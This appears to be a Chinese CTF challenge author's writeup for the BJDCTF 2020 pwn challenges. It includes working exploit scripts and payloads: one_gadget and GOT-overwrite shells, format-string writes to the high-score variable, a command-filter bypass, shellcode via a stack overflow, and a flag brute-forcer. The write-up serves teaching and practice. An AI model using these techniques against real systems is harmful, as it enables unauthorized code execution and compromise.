第二屆 BJDCTF 2020 Pwn Writeup (出題人版)

前言

最爲第一屆BJDCTF的參賽選手和本屆比賽的二進制出題人+運維,真心祝願BJDCTF越辦越好!(說多了怕被打)

還是要囉嗦一句,本次BJDCTF爲七校聯盟萌新賽,同時在BUUCTF對外開發,感謝趙師傅的大力支持,以及各位外校師傅的捧場。

第一次出題,pwn貌似出難了,其實主要是想考察下linux基礎,在這裏給各位萌新們道歉啦。

不過還是希望大家能打下堅實的linux基礎~

p.s. ret2text3,4&YDS是芝士師傅出的,算賬不要來找我鴨

一把梭(one_gadget) - TaQini

考察點:one_gadget

題目給出了printf的地址,由此可算得libc基址,然後找one_gadget、計算libc中one_gadget地址

  printf("Give me your one gadget:");
  __isoc99_scanf("%ld", &v4);
  v5 = v4;
  v4();

v4是個函數指針,scanf的時候把one_gadget轉成十進制輸入即可getshell。

#!/usr/bin/python
#__author__:TaQini

from pwn import *

local_file  = './one_gadget'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = './libc.so.6'

if len(sys.argv) == 1:
    p = process(local_file)
    libc = ELF(local_libc)
elif len(sys.argv) > 1:
    if len(sys.argv) == 3:
        host = sys.argv[1]
        port = sys.argv[2]
    else:
        host, port = sys.argv[1].split(':')
    p = remote(host, port)
    libc = ELF(remote_libc)

elf = ELF(local_file)

context.log_level = 'debug'
context.arch = elf.arch

se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :p.info(tag + ': {:#x}'.format(addr))

def debug(cmd=''):
    gdb.attach(p,cmd)

# gadget
one_gadget = 0x106ef8 #execve("/bin/sh", rsp+0x70, environ)
# elf, libc
printf_libc = libc.symbols['printf']
ru('here is the gift for u:')
printf = int(rc(14),16)
info_addr('printf',printf)
libc_base = printf-printf_libc
info_addr('libc_base', libc_base)
info_addr('one gadget', one_gadget+libc_base)
ru('gadget:')
sl(str(one_gadget+libc_base))

p.interactive()

Imagin的小祕密(secret) - TaQini

考察點:緩衝區溢出、GOT表覆寫

.data:000000000046D080 ; char buf[]
.data:000000000046D080 buf             db 'Y0ur_N@me',0        
.data:000000000046D080                                         
.data:000000000046D08A                 align 10h
.data:000000000046D090 times           dq offset unk_46D0C0    
.data:000000000046D090                                         
.data:000000000046D090 _data           ends

程序開頭read(0, buf, 0x16),實際上buf大小隻有0x10,後6字節會覆蓋times變量

void __noreturn sub_401301()
{
  puts("#====================================#");
  puts("#             GAME OVER              #");
  puts("#====================================#");
  sub_4011C2("#        BYE BYE~                    #", 18LL);
  printf(buf, 18LL);
  puts(&byte_46B0A7);
  puts("@====================================@");
  exit(0);
}

猜錯退出程序時,有個printf打印buf內容,查看got表,發現printfsystem只差0x10

[0x46d038] system@GLIBC_2.2.5 -> 0x401076 (system@plt+6) ◂— push   4
[0x46d040] printf@GLIBC_2.2.5 -> 0x401086 (printf@plt+6) ◂— push   5

所以把times覆蓋成got[printf]

buf='/bin/sh;' ; got[printf] -> system

times每猜對一次自減1,控制猜對的次數,即可構造出system("/bin/sh")
exp:

sl('/bin/sh;AAAAAAAA'+p32(0x46d040))
secret = [18283,11576,17728,15991,12642,16253,13690,15605,12190,16874,18648,10083,18252,14345,11875]
for i in secret:
    send_secret(i)

send_secret(66666)

只用找出前0x10個secret即可,不過,硬要找全10000也不難,正則匹配一下就好 。

Test your ssh(test) - TaQini

由於Ubuntu 14之後,通過egid執行/bin/sh的權限被ban了
所以這次比賽ssh靶機用的全是Ubuntu 14.04

考察點:linux基礎

這題設置的目的是測試ssh連接顯示編碼什麼的是否正常,但是直接白給不太好,就加了個字符過濾。

看源碼,可知過濾了以下字符:

 n e p b u s h i f l a g | / $ ` - < > .

於是就找可用的命令唄,先看下環境變量PATH,然後grep搜一下

$ env $PATH
$ ls /usr/local/sbin /usr/local/bin /usr/sbin /usr/bin /sbin /bin /usr/games /usr/local/games | grep -v -E 'n|e|p|b|u|s|h|i|f|l|a|g'

發現od倖存

ctf@f930cab87217:~$ ./test | grep 045102 -C 2
od *
uid=1000(ctf) gid=1000(ctf) egid=1001(ctf_pwn) groups=1000(ctf)
0000000 045102 075504 067145 067552 057571 067571 071165 070137
0000020 067167 063537 066541 076545 077412 046105 001106 000401
0000040 000000 000000 000000 000000 001000 037000 000400 000000

使用od輸出flag,然後解八進制即可

非預期解

x86_64命令沒有過濾掉,可以直接拿shell

原理如下

ls -al /usr/bin/x86_64
lrwxrwxrwx 1 root root 7 8月  23  2019 /usr/bin/x86_64 -> setarch

x86_64是指向setarch命令(soft link),查看一下setarch的文檔,如下:

setarch - change reported architecture in new program environment and/or set personality flags 
...
The default program is /bin/sh.

挑食的小蛇(snake) - TaQini

考察點:字符串截斷 or 耐心

背景知識:c語言中字符串以’\x00’爲結尾

把程序下載下來,調試,發現Nameflag相鄰,相差0x100字節

pwndbg> p &Name
$1 = (<data variable, no debug info> *) 0x5555555592e0 <Name>
pwndbg> p &flag
$2 = (<data variable, no debug info> *) 0x5555555593e0 <flag>

查看源碼:

void getName(){
    char buf[0x100];
    printf("請輸入玩家暱稱(僅限英文)[按回車開始遊戲]:");
    scanf("%s",buf);
    strncpy(Name, buf, 0x100);
}

輸入暱稱時會copy 0x100個字節到Name,所以只要輸入長度爲0x100的暱稱,Name的結尾就不會有’\x00’,遊戲顯示玩家暱稱時就會把Nameflag一起打印出來。

# 正常情況
Name: 'TaQini\x00'
flag: 'flag{xxxx}\x00'
# 非正常情況
Name: 'TaQini.......flag\x00'

p.s.這題玩到3000分也可解,比賽時好多師傅硬懟出來的…嗯…耐心也是一名pwn手的基本素養

貪喫的小蛇(snake2) - TaQini

考察點:scanf

這題的設計參考pwnable.kr的passcode
題解詳見:https://blog.csdn.net/smalosnail/article/details/53247502
文章題目: scanf忘記加’&'危害有多大?詳解GOT表覆寫攻擊技術

拿到代碼後找不同,看看那裏和snake1不一樣

  1. 獲勝分數提高了,硬玩兒是玩兒不出來的

    printf("  控制Imagin喫豆豆,達到300000分\n");
    
  2. getName讀暱稱的長度變短了,不能利用snake1的解法

    void getName(){
        char buf[0x100];
        printf("請輸入玩家暱稱(僅限英文)[按回車開始遊戲]:");
        scanf("%s",buf);
        strncpy(Name, buf, 0x10);
    }
    
  3. 多了一個調查問卷功能

    void questionnaire(void){
        int Goal;
        char Answer[0x20];
        puts("你收到了一份來自TaQini的調查問卷");
        printf("1.Snake系列遊戲中,貪喫蛇的名字是:");
        scanf("%20s",Answer);
        printf("2.Pwn/Game真好玩兒[Y/n]:");
        scanf("%20s",Answer);
        printf("3.你目標的分數是:");
        scanf("%d",Goal);
    }
    

通過對比可知,snake1的漏洞點在getNamesnake2的漏洞點在questionnaire

void GameRun(void) {
    unsigned int GameState=1;
    score=0;
    Level=1;
    printRule();
    getName();
    questionnaire();
    PSnake jack=Init();
    //...
}

查看questionnaire的上一層函數,可見getNamequestionnaire用是同一片棧空間

按照參考文章中的做法,利用scanf覆寫got表爲後門system("/bin/sh")的地址,即可getshell

比如,後續的Init函數中調用了malloc,因此可以覆寫malloc的got表:

PSnake head=(PSnake)malloc(sizeof(Node));

這題malloc的got表地址0x405078都是可見字符,解題時甚至不用寫腳本

name = 'a'*220+'xP@' # xP@ <- (malloc.got)
goal = 4201717 # <- backdoor

鵝螺獅的方塊(els) - TaQini

考察點:格式化字符串

打開遊戲,發現底部有個留言板十分矚目,找到對應源碼,發現存在格式化字符串漏洞:

    /* 實時顯示留言 */
    fmsg = fopen("./msg","r+");
    if (NULL == fmsg) exit(0);
    char message[0x100] = {0};
    fread(message,0x80,1,fmsg);
    fprintf(stdout,"\033[22;1H留言:");
    fprintf(stdout,message);

那麼本題的主要漏洞就是他了。

知己知彼,百戰不殆。要想pwn掉els,需要先對程序瞭解個大概。於是瀏覽源碼:

  1. 程序開頭讀取本地record文件,加載變量最高記錄,隨後判斷最高分數,大於閾值就給shell
        /* 讀取文件的最高記錄 */
        fp = fopen("./record","r+");
        if (NULL == fp)
        {
            /*
             * 文件不存在則創建並打開
             * "w"方式打開會自動創建不存在的文
             */
            fp = fopen("./record","w");
        }
        fscanf(fp,"%u",&maxScore);
    
        if(maxScore > 666666)
        {
            puts("乾的漂亮!獎勵鵝羅獅高手shell一個!");
            system("/bin/sh");
            exit(0);
        }
    
  2. 實時顯示留言功能:讀取msg文件,打印留言,其中fprintf(stdout,message)存在漏洞
        /* 實時顯示留言 */
        fmsg = fopen("./msg","r+");
        if (NULL == fmsg) exit(0);
        char message[0x100] = {0};
        fread(message,0x80,1,fmsg);
        fprintf(stdout,"\033[22;1H留言:");
        fprintf(stdout,message);
    
  3. 消除方塊功能:更新最高分數,將最高分寫入record文件
    void checkDeleteLine(void)
    {
    // ...
        /* 記錄最高分 */
        if (score > maxScore)
        {
            maxScore = score;
            /* 保存最高分 */
            rewind(fp);
            fprintf(fp,"%u\n",maxScore);
        }
    //...
    

魯迅曾經說過:

一切皆文件

所以上述代碼的瀏覽主要以msgrecord這兩個文件爲線索。

現在思路就很明朗了,通過格式化字符串漏洞修改maxScore,消除一行方塊,觸發歷史記錄更新,改寫record文件,重新開始遊戲,getshell。

關於文件權限,可以通過ls -al 查看:
msg可讀可寫,record可讀,只有運行els程序時可寫

由於開了地址隨機化,maxScore的地址不固定,但是這在格式化字符串漏洞面前都不是事兒,先泄漏,再改寫即可。exp如下:

leak.py

#!/usr/bin/python
payload = "%73$p"
f = open('/home/ctf/msg','w')
f.write(payload)
f.close()

exp.py

#!/usr/bin/python
from struct import pack
from sys import argv

start = eval(argv[1])
score = start-0x1180+0x53ac

# hex(666666) = 0xa2c2a
payload = "%20c%8$n" + pack('<Q', score+2)
print hex(score)
f = open('/home/ctf/msg','w')
f.write(payload)
f.close()

上述兩個文件放到/tmp目錄下,先執行leak拿到程序基址,再通過exp計算maxScore地址並改寫。消除一行方塊後觸發記錄更新,遊戲結束後maxScore寫入文件,再次打開遊戲即可getshell。

營救Imagin(rci) - TaQini

考察點:linux基礎,ls命令

本題的設計源於HGame2020 - findyourself
題解鏈接:http://taqini.space/2020/02/12/2020-Hgame-pwn-writeup/#findyourself

背景就不多介紹了,imagin被關進了隨機創建的48個房間之一,這時有一次執行系統命令的機會,經過層層過濾,只有ls命令可用,使用ls獲取一些線索後,就要輸入imagin所在的正確房間號了,答對後獲得第二次執行系統命令的機會,可以getshell。

在hgame-fys中第一次命令執行是通過 ls -l /proc/self/cwd 獲取的當前目錄,而本題沒有給/proc,所以要另闢蹊徑,也就是本題的考察點inode了。

inode 是linux用於文件儲存的索引節點,操作系統大家應該都學過:

系統讀取硬盤的時候,不會一個個扇區的讀取,這樣效率太低,而是一次性連續讀取多個扇區,即一次性讀取一個“塊”(block)。這種由多個扇區組成的“塊”,是文件存取的最小單位。“塊”的大小,最常見的是4KB,即連續八個sector組成一個block。
文件數據都儲存在“塊”中,那麼很顯然,我們還必須找到一個地方儲存文件的“元信息”,比如文件的創建者、文件的創建日期、文件的大小等等。這種儲存文件元信息的區域就叫做inode
摘自:https://blog.csdn.net/xuz0917/article/details/79473562

也就是說inode和文件是一一對應的,魯迅曾經說過:

一切皆文件

目錄也是文件,也有他對應的inode,於是,本題的重點來了——ls命令常用參數(敲黑板)

ls -l  # 以列表格式顯示
ls -a  # 不隱藏以.開頭的文件
ls -i  # 顯示文件inode

衆所周知,當前目錄文件用 . 表示,所以輸入 ls -ali 命令即可顯示當前目錄的inode
也就是說,imagin所在房間的inode已知了,但是 .相對路徑,題目中要求驗證絕對路徑

於是想辦法查看絕對路徑,我們已知房間是在/tmp目錄下的,所以不難想到,再開一個shell,輸入 ls -ali /tmp 顯示/tmp目錄下所有文件inode,根據唯一的inode找到對應房間號,即可通過check1。

本題重點結束。

check2 也過濾了一些字符,可以通過輸入 $0 繞過。

我們不一樣(diff) - TaQini

考察點:棧溢出

題目是彙編寫的,所以就沒給源碼,做題時需要把文件下載到本地分析。
下載方法挺多的,這裏說兩種比較直接的方法:

  1. base64編碼後複製粘貼到本地
  2. scp 命令 使用ssh協議傳輸文件

用過diff命令的師傅不難看出,這題是一個縮減版的diff命令,功能是比較兩個文件,輸出兩文件內容不相同的那一行的行號。分析程序,打開文件部分沒得說,直接看比較函數:

int __cdecl compare(int a1, int fd)
{
  char v2; // al
  int v4; // [esp+0h] [ebp-80h]
  unsigned int i; // [esp+4h] [ebp-7Ch]
  char addr[120]; // [esp+8h] [ebp-78h]

  v4 = 0;
  JUMPOUT(sys_read(fd, buf1, 0x80u), 0, &failed);
  JUMPOUT(sys_read(a1, addr, 0x80u), 0, &failed);
  for ( i = 0; addr[i] + buf1[i] && i < 0x400; ++i )
  {
    v2 = buf1[i];
    if ( v2 != addr[i] )
      return v4 + 1;
    if ( v2 == 10 )
      ++v4;
  }
  return 0;
}

addr長度120,read讀了128字節,很明顯的棧溢出。此外buf1具有可執行權限:

pwndbg> p &buf1
$2 = (<data variable, no debug info> *) 0x804a024 <buf1>
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 0x8048000  0x804a000 r-xp     2000 0      /xxx/diff
 0x804a000  0x804b000 rwxp     1000 2000   /xxx/diff
0xf7ffa000 0xf7ffd000 r--p     3000 0      [vvar]
0xf7ffd000 0xf7ffe000 r-xp     1000 0      [vdso]
0xfffdc000 0xffffe000 rwxp    22000 0      [stack]

打開的第一個文件數據讀入buf1中,打開的第二個文件數據讀入addr

因此,在第一個文件中存shellcode,在第二個文件中存payload,將返回地址覆蓋爲buf1地址,即可getshell。

二進制一家親(diff2) - TaQini

考察點:字符上溢出、跑腳本爆破

題目來源:巨佬keer的diff非預期解+我兩年前的彙編實驗
代碼鏈接:https://github.com/TaQini/AssemblyLanguage/tree/master/lab/7

二進制,一家親。

diff的預期解是緩衝區溢出,硬是讓keer師傅找到了一處字符溢出…直接把flag給爆破出來了…tql…

於是,我把diff的緩衝區溢出的洞補上,將之魔改成爲re題目一道。

既然是re,就要想怎樣解出flag。diff程序可以讀flag和另一個文件,就叫做ktql好啦,並且會對這兩個文件進行比較,所以思路就是變化ktql、爆破flag

比較字符函數如下:

int compare()
{
  char v0; // al
  unsigned int i; // [esp+0h] [ebp-8h]
  int v3; // [esp+4h] [ebp-4h]

  v3 = 0;
  for ( i = 0; buf2[i] + buf1[i] && i < 0x400; ++i )
  {
    v0 = buf1[i];
    if ( v0 != buf2[i] )
      return v3 + 1;
    if ( v0 == 10 )
      ++v3;
  }
  return 0;
}

乍一看沒毛病,其實不然。for的循環條件:

buf2[i] + buf1[i] && i < 0x400;

一般師傅:char + char = char 沒毛病

keer師傅:char + char = 溢出!懟他!

我們知道char型變量佔1個字節,相當於unsigned byte,表示範圍是0x0-0xff,那麼兩char相加的範圍就是0x0 - 0x1fe ,可是char型只能存儲1個字節的數據,因此兩char相加產生的進位就會被忽略。舉個栗子,0x7d+0x83=0x100->0x0。get到了這一點,再看for循環條件,就能看出些端倪了。

buf2[i] + buf1[i] = 0x100 時會終止for循環,並且返回0。按程序正常的流程走,除非buf1buf2完全相同,否則不可能返回0,而現在只要buf1buf2任意位置對應的字節相加等於0x100,compare也會返回0。

返回 0 時程序打印 “一樣”
返回值非0時 程序打印 行號

根據不同的返回值,就可以對flag進行逐個字節的爆破了,腳本如下:

#!/usr/bin/python
#__author__:TaQini
from subprocess import *
fix = ''
while 1:
    for i in range(0x100):
        payload = fix+chr(i)
        f = open('/tmp/ktql','w+')
        tmp = f.write(payload)
        f.close()
        p = Popen(['/home/ctf/diff','/tmp/ktql','/home/ctf/flag'],stdout=PIPE)
        res = p.stdout.read()
        if res != '1':
            # print res,chr(0x100-i)
            print fix
            fix+=chr(0x100-i)
            break

End

上述所有題目復現地址 https://buuoj.cn/ or http://ctf.taqini.space/
更多內容可以關注我的個人博客~

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章